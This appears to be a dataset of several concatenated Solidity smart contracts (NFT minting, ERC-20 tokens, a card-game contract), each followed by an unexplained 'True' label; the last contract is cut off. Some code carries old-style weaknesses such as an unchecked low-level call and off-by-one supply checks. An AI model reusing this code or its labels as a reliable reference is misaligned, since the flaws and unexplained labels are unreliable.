_owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: DegenDonkeyGenesis.sol //SPDX-License-Identifier: MIT pragma solidity ^0.8.11; contract DegenDonkeyGenesis is ERC721A, Ownable, Pausable { using SafeMath for uint256; event PermanentURI(string _value, uint256 indexed _id); mapping(address => uint) private _mintings; uint public constant MAX_SUPPLY = 420; uint public constant PRICE = 5e15; //0.005 ETH uint public constant MAX_PER_MINT = 3; uint public constant MAX_PER_WALLET = 6; string public _contractBaseURI= "https://ipfs.io/ipfs/QmX8reNtURuX9JyxEJCh8AM4r3UK2cvuurRJq6PMD8B63Z/"; constructor() ERC721A("Degen Donkey Genesis", "Donkey") { } modifier callerIsUser(){ require(tx.origin == msg.sender, "Degen Donkey Genesis :: Cannot be called by a contract"); _; } function mint(uint256 quantity) external payable callerIsUser { require(quantity > 0, "Degen Donkey Genesis :: Quantity cannot be zero"); uint totalMinted = totalSupply(); require(quantity <= MAX_PER_MINT, "Degen Donkey Genesis :: Cannot mint that many at once"); require((mintedBy(msg.sender) + quantity) <= MAX_PER_WALLET, "Degen Donkey Genesis :: The limit of minting per address is exceeded"); require(totalMinted.add(quantity) < MAX_SUPPLY, "Degen Donkey Genesis :: Not enough NFTs left to mint"); require(PRICE * quantity <= msg.value, "Degen Donkey Genesis :: Insufficient funds sent"); _safeMint(msg.sender, quantity); lockMetadata(quantity); _mintings[msg.sender] += quantity; } function mintedBy(address addr) public view returns(uint) { return _mintings[addr]; } function lockMetadata(uint256 quantity) internal { for (uint256 i = quantity; i > 0; i--) { uint256 tid = totalSupply() - i; emit PermanentURI(tokenURI(tid), tid); } } function withdraw() public onlyOwner { uint balance = address(this).balance; payable(msg.sender).transfer(balance); } // OpenSea metadata initialization function contractURI() public pure returns (string memory) { return ""; } function _baseURI() internal view override returns (string memory) { return _contractBaseURI; } }
True
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pragma solidity ^0.4.18; contract Token { /// total amount of tokens uint256 public totalSupply; /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) public constant returns (uint256 balance); /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value)public returns (bool success); /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); /// @notice `msg.sender` approves `_spender` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of tokens to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) public returns (bool success); /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) public constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) public returns (bool success) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) public returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; } contract BLDAToken is StandardToken { string public name; uint8 public decimals; string public symbol; function BLDAToken( uint256 _initialAmount, string _tokenName, uint8 _decimalUnits, string _tokenSymbol ) public { balances[msg.sender] = _initialAmount; // Give the creator all initial tokens totalSupply = _initialAmount; // Update total supply name = _tokenName; // Set the name for display purposes decimals = _decimalUnits; // Amount of decimals for display purposes symbol = _tokenSymbol; // Set the symbol for display purposes } function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); if(!_spender.call(bytes4(bytes32(keccak256("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { return false; } return true; } }
True
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/** *Submitted for verification at Etherscan.io on 2017-11-28 */ pragma solidity ^0.5.12; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { if (newOwner != address(0)) { owner = newOwner; } } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20Basic { uint public _totalSupply; function totalSupply() public view returns (uint); function balanceOf(address who) public view returns (uint); function transfer(address to, uint value) public; event Transfer(address indexed from, address indexed to, uint value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint); function transferFrom(address from, address to, uint value) public; function approve(address spender, uint value) public; event Approval(address indexed owner, address indexed spender, uint value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is Ownable, ERC20Basic { using SafeMath for uint; mapping(address => uint) public balances; // additional variables for use if transaction fees ever became necessary uint public maximumFee = 0; /** * @dev Fix for the ERC20 short address attack. */ modifier onlyPayloadSize(uint size) { require(!(msg.data.length < size + 4)); _; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint _value) public onlyPayloadSize(2 * 32) { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint balance) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based oncode by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is BasicToken, ERC20 { mapping (address => mapping (address => uint)) public allowed; uint public MAX_UINT = 2**256 - 1; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint _value) public onlyPayloadSize(3 * 32) { uint256 _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // if (_value > _allowance) throw; if (_allowance < MAX_UINT) { allowed[_from][msg.sender] = _allowance.sub(_value); } balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(_from, _to, _value); } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint _value) public onlyPayloadSize(2 * 32) { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 require(!((_value != 0) && (allowed[msg.sender][_spender] != 0))); allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); } /** * @dev Function to check the amount of tokens than an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint remaining) { return allowed[_owner][_spender]; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } contract BlackList is Ownable, BasicToken { /////// Getters to allow the same blacklist to be used also by other contracts (including upgraded DBP) /////// function getBlackListStatus(address _maker) external view returns (bool) { return isBlackListed[_maker]; } function getOwner() external view returns (address) { return owner; } mapping (address => bool) public isBlackListed; function addBlackList (address _evilUser) public onlyOwner { isBlackListed[_evilUser] = true; emit AddedBlackList(_evilUser); } function removeBlackList (address _clearedUser) public onlyOwner { isBlackListed[_clearedUser] = false; emit RemovedBlackList(_clearedUser); } function destroyBlackFunds (address _blackListedUser) public onlyOwner { require(isBlackListed[_blackListedUser]); uint dirtyFunds = balanceOf(_blackListedUser); balances[_blackListedUser] = 0; _totalSupply -= dirtyFunds; emit DestroyedBlackFunds(_blackListedUser, dirtyFunds); } event DestroyedBlackFunds(address _blackListedUser, uint _balance); event AddedBlackList(address _user); event RemovedBlackList(address _user); } contract UpgradedStandardToken is StandardToken{ // those methods are called by the legacy contract // and they must ensure msg.sender to be the contract address function transferByLegacy(address from, address to, uint value) public; function transferFromByLegacy(address sender, address from, address spender, uint value) public; function approveByLegacy(address from, address spender, uint value) public; } contract ERCToken is Pausable, StandardToken, BlackList { string public name; string public symbol; uint public decimals; address public upgradedAddress; bool public deprecated; // The contract can be initialized with a number of tokens // All the tokens are deposited to the owner address // // @param _balance Initial supply of the contract // @param _name Token Name // @param _symbol Token symbol // @param _decimals Token decimals constructor(uint _initialSupply, string memory _name, string memory _symbol, uint _decimals) public { _totalSupply = _initialSupply; name = _name; symbol = _symbol; decimals = _decimals; balances[owner] = _initialSupply; deprecated = false; } // Forward ERC20 methods to upgraded contract if this one is deprecated function transfer(address _to, uint _value) public whenNotPaused { require(!isBlackListed[msg.sender]); if (deprecated) { return UpgradedStandardToken(upgradedAddress).transferByLegacy(msg.sender, _to, _value); } else { return super.transfer(_to, _value); } } // Forward ERC20 methods to upgraded contract if this one is deprecated function transferFrom(address _from, address _to, uint _value) public whenNotPaused { require(!isBlackListed[_from]); if (deprecated) { return UpgradedStandardToken(upgradedAddress).transferFromByLegacy(msg.sender, _from, _to, _value); } else { return super.transferFrom(_from, _to, _value); } } // Forward ERC20 methods to upgraded contract if this one is deprecated function balanceOf(address who) public view returns (uint) { if (deprecated) { return UpgradedStandardToken(upgradedAddress).balanceOf(who); } else { return super.balanceOf(who); } } // Forward ERC20 methods to upgraded contract if this one is deprecated function approve(address _spender, uint _value) public onlyPayloadSize(2 * 32) { if (deprecated) { return UpgradedStandardToken(upgradedAddress).approveByLegacy(msg.sender, _spender, _value); } else { return super.approve(_spender, _value); } } // Forward ERC20 methods to upgraded contract if this one is deprecated function allowance(address _owner, address _spender) public view returns (uint remaining) { if (deprecated) { return StandardToken(upgradedAddress).allowance(_owner, _spender); } else { return super.allowance(_owner, _spender); } } // deprecate current contract in favour of a new one function deprecate(address _upgradedAddress) public onlyOwner { deprecated = true; upgradedAddress = _upgradedAddress; emit Deprecate(_upgradedAddress); } // deprecate current contract if favour of a new one function totalSupply() public view returns (uint) { if (deprecated) { return StandardToken(upgradedAddress).totalSupply(); } else { return _totalSupply; } } // Issue a new amount of tokens // these tokens are deposited into the owner address // // @param _amount Number of tokens to be issued function issue(uint amount) public onlyOwner { require(_totalSupply + amount > _totalSupply); require(balances[owner] + amount > balances[owner]); balances[owner] += amount; _totalSupply += amount; emit Issue(amount); } // Redeem tokens. // These tokens are withdrawn from the owner address // if the balance must be enough to cover the redeem // or the call will fail. // @param _amount Number of tokens to be issued function redeem(uint amount) public onlyOwner { require(_totalSupply >= amount); require(balances[owner] >= amount); _totalSupply -= amount; balances[owner] -= amount; emit Redeem(amount); } // Called when new token are issued event Issue(uint amount); // Called when tokens are redeemed event Redeem(uint amount); // Called when contract is deprecated event Deprecate(address newAddress); }
True
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pragma solidity ^0.4.21; /** * @title Maths * A library to make working with numbers in Solidity hurt your brain less. */ library Maths { /** * @dev Adds two addends together, returns the sum * @param addendA the first addend * @param addendB the second addend * @return sum the sum of the equation (e.g. addendA + addendB) */ function plus( uint256 addendA, uint256 addendB ) public pure returns (uint256 sum) { sum = addendA + addendB; } /** * @dev Subtracts the minuend from the subtrahend, returns the difference * @param minuend the minuend * @param subtrahend the subtrahend * @return difference the difference (e.g. minuend - subtrahend) */ function minus( uint256 minuend, uint256 subtrahend ) public pure returns (uint256 difference) { assert(minuend >= subtrahend); difference = minuend - subtrahend; } /** * @dev Multiplies two factors, returns the product * @param factorA the first factor * @param factorB the second factor * @return product the product of the equation (e.g. factorA * factorB) */ function mul( uint256 factorA, uint256 factorB ) public pure returns (uint256 product) { if (factorA == 0 || factorB == 0) return 0; product = factorA * factorB; assert(product / factorA == factorB); } /** * @dev Multiplies two factors, returns the product * @param factorA the first factor * @param factorB the second factor * @return product the product of the equation (e.g. factorA * factorB) */ function times( uint256 factorA, uint256 factorB ) public pure returns (uint256 product) { return mul(factorA, factorB); } /** * @dev Divides the dividend by divisor, returns the truncated quotient * @param dividend the dividend * @param divisor the divisor * @return quotient the quotient of the equation (e.g. dividend / divisor) */ function div( uint256 dividend, uint256 divisor ) public pure returns (uint256 quotient) { quotient = dividend / divisor; assert(quotient * divisor == dividend); } /** * @dev Divides the dividend by divisor, returns the truncated quotient * @param dividend the dividend * @param divisor the divisor * @return quotient the quotient of the equation (e.g. dividend / divisor) */ function dividedBy( uint256 dividend, uint256 divisor ) public pure returns (uint256 quotient) { return div(dividend, divisor); } /** * @dev Divides the dividend by divisor, returns the quotient and remainder * @param dividend the dividend * @param divisor the divisor * @return quotient the quotient of the equation (e.g. dividend / divisor) * @return remainder the remainder of the equation (e.g. dividend % divisor) */ function divideSafely( uint256 dividend, uint256 divisor ) public pure returns (uint256 quotient, uint256 remainder) { quotient = div(dividend, divisor); remainder = dividend % divisor; } /** * @dev Returns the lesser of two values. * @param a the first value * @param b the second value * @return result the lesser of the two values */ function min( uint256 a, uint256 b ) public pure returns (uint256 result) { result = a <= b ? a : b; } /** * @dev Returns the greater of two values. * @param a the first value * @param b the second value * @return result the greater of the two values */ function max( uint256 a, uint256 b ) public pure returns (uint256 result) { result = a >= b ? a : b; } /** * @dev Determines whether a value is less than another. * @param a the first value * @param b the second value * @return isTrue whether a is less than b */ function isLessThan(uint256 a, uint256 b) public pure returns (bool isTrue) { isTrue = a < b; } /** * @dev Determines whether a value is equal to or less than another. * @param a the first value * @param b the second value * @return isTrue whether a is less than or equal to b */ function isAtMost(uint256 a, uint256 b) public pure returns (bool isTrue) { isTrue = a <= b; } /** * @dev Determines whether a value is greater than another. * @param a the first value * @param b the second value * @return isTrue whether a is greater than b */ function isGreaterThan(uint256 a, uint256 b) public pure returns (bool isTrue) { isTrue = a > b; } /** * @dev Determines whether a value is equal to or greater than another. * @param a the first value * @param b the second value * @return isTrue whether a is less than b */ function isAtLeast(uint256 a, uint256 b) public pure returns (bool isTrue) { isTrue = a >= b; } } /** * @title Manageable */ contract Manageable { address public owner; address public manager; event OwnershipChanged(address indexed previousOwner, address indexed newOwner); event ManagementChanged(address indexed previousManager, address indexed newManager); /** * @dev The Manageable constructor sets the original `owner` of the contract to the sender * account. */ function Manageable() public { owner = msg.sender; manager = msg.sender; } /** * @dev Throws if called by any account other than the owner or manager. */ modifier onlyManagement() { require(msg.sender == owner || msg.sender == manager); _; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipChanged(owner, newOwner); owner = newOwner; } /** * @dev Allows the owner or manager to replace the current manager * @param newManager The address to give contract management rights. */ function replaceManager(address newManager) public onlyManagement { require(newManager != address(0)); ManagementChanged(manager, newManager); manager = newManager; } } contract ERC20 { function allowance(address owner, address spender) public view returns (uint256); function approve(address spender, uint256 value) public returns (bool); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); function transferFrom(address from, address to, uint256 value) public returns (bool); function totalSupply() public view returns (uint256); } contract MythereumERC20Token is ERC20 { function burn(address burner, uint256 amount) public returns (bool); function mint(address to, uint256 amount) public returns (bool); } contract MythereumCardToken { function balanceOf(address _owner) public view returns (uint256 _balance); function ownerOf(uint256 _tokenId) public view returns (address _owner); function exists(uint256 _tokenId) public view returns (bool _exists); function approve(address _to, uint256 _tokenId) public; function getApproved(uint256 _tokenId) public view returns (address _operator); function setApprovalForAll(address _operator, bool _approved) public; function isApprovedForAll(address _owner, address _operator) public view returns (bool); function transferFrom(address _from, address _to, uint256 _tokenId) public; function safeTransferFrom(address _from, address _to, uint256 _tokenId) public; function safeTransferFrom( address _from, address _to, uint256 _tokenId, bytes _data ) public; function isEditionAvailable(uint8 _editionNumber) public view returns (bool); function cloneCard(address _owner, uint256 _tokenId) public returns (bool); function mintRandomCards( address _owner, uint8 _editionNumber, uint8 _numCards ) public returns (bool); function improveCard( uint256 _tokenId, uint256 _addedDamage, uint256 _addedShield ) public returns (bool); function destroyCard(uint256 _tokenId) public returns (bool); } contract Mythereum is Manageable { using Maths for uint256; struct Edition { string name; uint256 sales; uint256 maxSales; uint8 packSize; uint256 packPrice; uint256 packPriceIncrease; } mapping (uint8 => Edition) public editions; mapping (address => bool) public isVIP; mapping (address => bool) public isTokenAccepted; mapping (address => uint256) public tokenCostPerPack; mapping (uint256 => uint256) public mythexCostPerUpgradeLevel; mapping (uint256 => uint256) public cardDamageUpgradeLevel; mapping (uint256 => uint256) public cardShieldUpgradeLevel; uint256 public maxCardUpgradeLevel = 30; address public cardTokenAddress; address public xpTokenAddress; address public mythexTokenAddress; address public gameHostAddress; /* data related to shared ownership */ uint256 public totalShares = 0; uint256 public totalReleased = 0; mapping(address => uint256) public shares; mapping(address => uint256) public released; event CardsPurchased(uint256 editionNumber, uint256 packSize, address buyer); event CardUpgraded(uint256 cardId, uint256 addedDamage, uint256 addedShield); modifier onlyHosts() { require( msg.sender == owner || msg.sender == manager || msg.sender == gameHostAddress ); _; } function Mythereum() public { editions[0] = Edition({ name: "Genesis", sales: 3999, maxSales: 5000, packSize: 7, packPrice: 100 finney, packPriceIncrease: 1 finney }); editions[1] = Edition({ name: "Survivor", sales: 20, maxSales: 1000000, packSize: 10, packPrice: 0, packPriceIncrease: 0 }); isVIP[msg.sender] = true; } /** * @dev Disallow funds being sent directly to the contract since we can&#39;t know * which edition they&#39;d intended to purchase. */ function () public payable { revert(); } function buyPack( uint8 _editionNumber ) public payable { uint256 packPrice = isVIP[msg.sender] ? 0 : editions[_editionNumber].packPrice; require(msg.value.isAtLeast(packPrice)); if (msg.value.isGreaterThan(packPrice)) { msg.sender.transfer(msg.value.minus(packPrice)); } _deliverPack(msg.sender, _editionNumber); } function buyPackWithERC20Tokens( uint8 _editionNumber, address _tokenAddress ) public { require(isTokenAccepted[_tokenAddress]); _processERC20TokenPackPurchase(_editionNumber, _tokenAddress, msg.sender); } function upgradeCardDamage(uint256 _cardId) public { require(cardDamageUpgradeLevel[_cardId].isLessThan(maxCardUpgradeLevel)); uint256 costOfUpgrade = 32 * (cardDamageUpgradeLevel[_cardId] + 1); MythereumERC20Token mythexContract = MythereumERC20Token(mythexTokenAddress); require(mythexContract.balanceOf(msg.sender).isAtLeast(costOfUpgrade)); burnMythexTokens(msg.sender, costOfUpgrade); cardDamageUpgradeLevel[_cardId]++; _improveCard(_cardId, 1, 0); } function upgradeCardShield(uint256 _cardId) public { require(cardShieldUpgradeLevel[_cardId].isLessThan(maxCardUpgradeLevel)); uint256 costOfUpgrade = 32 * (cardShieldUpgradeLevel[_cardId] + 1); MythereumERC20Token mythexContract = MythereumERC20Token(mythexTokenAddress); require(mythexContract.balanceOf(msg.sender).isAtLeast(costOfUpgrade)); burnMythexTokens(msg.sender, costOfUpgrade); cardShieldUpgradeLevel[_cardId]++; _improveCard(_cardId, 0, 1); } function improveCard( uint256 _cardId, uint256 _addedDamage, uint256 _addedShield ) public onlyManagement { require(cardShieldUpgradeLevel[_cardId].isLessThan(maxCardUpgradeLevel)); _improveCard(_cardId, _addedDamage, _addedShield); } function _improveCard( uint256 _cardId, uint256 _addedDamage, uint256 _addedShield ) internal { MythereumCardToken cardToken = MythereumCardToken(cardTokenAddress); require(cardToken.improveCard(_cardId, _addedDamage, _addedShield)); CardUpgraded(_cardId, _addedDamage, _addedShield); } function receiveApproval( address _sender, uint256 _value, address _tokenContract, bytes _extraData ) public { require(isTokenAccepted[_tokenContract]); uint8 editionNumber = 0; if (_extraData.length != 0) editionNumber = uint8(_extraData[0]); _processERC20TokenPackPurchase(editionNumber, _tokenContract, _sender); } function _processERC20TokenPackPurchase( uint8 _editionNumber, address _tokenAddress, address _buyer ) internal { require(isTokenAccepted[_tokenAddress]); ERC20 tokenContract = ERC20(_tokenAddress); uint256 costPerPack = tokenCostPerPack[_tokenAddress]; uint256 ourBalanceBefore = tokenContract.balanceOf(address(this)); tokenContract.transferFrom(_buyer, address(this), costPerPack); uint256 ourBalanceAfter = tokenContract.balanceOf(address(this)); require(ourBalanceAfter.isAtLeast(ourBalanceBefore.plus(costPerPack))); _deliverPack(_buyer, _editionNumber); } function burnMythexTokens(address _burner, uint256 _amount) public onlyHosts { require(_burner != address(0)); MythereumERC20Token(mythexTokenAddress).burn(_burner, _amount); } function burnXPTokens(address _burner, uint256 _amount) public onlyHosts { require(_burner != address(0)); MythereumERC20Token(xpTokenAddress).burn(_burner, _amount); } function grantMythexTokens(address _recipient, uint256 _amount) public onlyHosts { require(_recipient != address(0)); MythereumERC20Token(mythexTokenAddress).mint(_recipient, _amount); } function grantXPTokens(address _recipient, uint256 _amount) public onlyHosts { require(_recipient != address(0)); MythereumERC20Token(xpTokenAddress).mint(_recipient, _amount); } function grantPromoPack( address _recipient, uint8 _editionNumber ) public onlyManagement { _deliverPack(_recipient, _editionNumber); } function setTokenAcceptanceRate( address _token, uint256 _costPerPack ) public onlyManagement { if (_costPerPack > 0) { isTokenAccepted[_token] = true; tokenCostPerPack[_token] = _costPerPack; } else { isTokenAccepted[_token] = false; tokenCostPerPack[_token] = 0; } } function transferERC20Tokens( address _token, address _recipient, uint256 _amount ) public onlyManagement { require(ERC20(_token).transfer(_recipient, _amount)); } function addVIP(address _vip) public onlyManagement { isVIP[_vip] = true; } function removeVIP(address _vip) public onlyManagement { isVIP[_vip] = false; } function setEditionName( uint8 _editionNumber, string _name ) public onlyManagement { editions[_editionNumber].name = _name; } function setEditionSales( uint8 _editionNumber, uint256 _numSales ) public onlyManagement { editions[_editionNumber].sales = _numSales; } function setEditionMaxSales( uint8 _editionNumber, uint256 _maxSales ) public onlyManagement { editions[_editionNumber].maxSales = _maxSales; } function setEditionPackPrice( uint8 _editionNumber, uint256 _newPrice ) public onlyManagement { editions[_editionNumber].packPrice = _newPrice; } function setEditionPackPriceIncrease( uint8 _editionNumber, uint256 _increase ) public onlyManagement { editions[_editionNumber].packPriceIncrease = _increase; } function setEditionPackSize( uint8 _editionNumber, uint8 _newSize ) public onlyManagement { editions[_editionNumber].packSize = _newSize; } function setCardTokenAddress(address _addr) public onlyManagement { require(_addr != address(0)); cardTokenAddress = _addr; } function setXPTokenAddress(address _addr) public onlyManagement { require(_addr != address(0)); xpTokenAddress = _addr; } function setMythexTokenAddress(address _addr) public onlyManagement { require(_addr != address(0)); mythexTokenAddress = _addr; } function setGameHostAddress(address _addr) public onlyManagement { require(_addr != address(0)); gameHostAddress = _addr; } function claim() public { _claim(msg.sender); } function addShareholder(address _payee, uint256 _shares) public onlyOwner { require(_payee != address(0)); require(_shares.isAtLeast(1)); require(shares[_payee] == 0); shares[_payee] = _shares; totalShares = totalShares.plus(_shares); } function removeShareholder(address _payee) public onlyOwner { require(shares[_payee] != 0); _claim(_payee); _forfeitShares(_payee, shares[_payee]); } function grantAdditionalShares( address _payee, uint256 _shares ) public onlyOwner { require(shares[_payee] != 0); require(_shares.isAtLeast(1)); shares[_payee] = shares[_payee].plus(_shares); totalShares = totalShares.plus(_shares); } function forfeitShares(uint256 _numShares) public { _forfeitShares(msg.sender, _numShares); } function transferShares(address _to, uint256 _numShares) public { require(_numShares.isAtLeast(1)); require(shares[msg.sender].isAtLeast(_numShares)); shares[msg.sender] = shares[msg.sender].minus(_numShares); shares[_to] = shares[_to].plus(_numShares); } function transferEntireStake(address _to) public { transferShares(_to, shares[msg.sender]); } function _claim(address payee) internal { require(shares[payee].isAtLeast(1)); uint256 totalReceived = address(this).balance.plus(totalReleased); uint256 payment = totalReceived.times(shares[payee]).dividedBy(totalShares).minus(released[payee]); require(payment != 0); require(address(this).balance.isAtLeast(payment)); released[payee] = released[payee].plus(payment); totalReleased = totalReleased.plus(payment); payee.transfer(payment); } function _forfeitShares(address payee, uint256 numShares) internal { require(shares[payee].isAtLeast(numShares)); shares[payee] = shares[payee].minus(numShares); totalShares = totalShares.minus(numShares); } function _deliverPack(address recipient, uint8 editionNumber) internal { Edition storage edition = editions[editionNumber]; require(edition.sales.isLessThan(edition.maxSales.plus(edition.packSize))); edition.sales = edition.sales.plus(edition.packSize); edition.packPrice = edition.packPrice.plus(edition.packPriceIncrease); MythereumCardToken cardToken = MythereumCardToken(cardTokenAddress); cardToken.mintRandomCards(recipient, editionNumber, edition.packSize); CardsPurchased(editionNumber, edition.packSize, recipient); } }
True
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/** *Submitted for verification at Etherscan.io on 2022-02-20 */ pragma solidity ^0.6.12; /* Don't use high slippage */ interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, 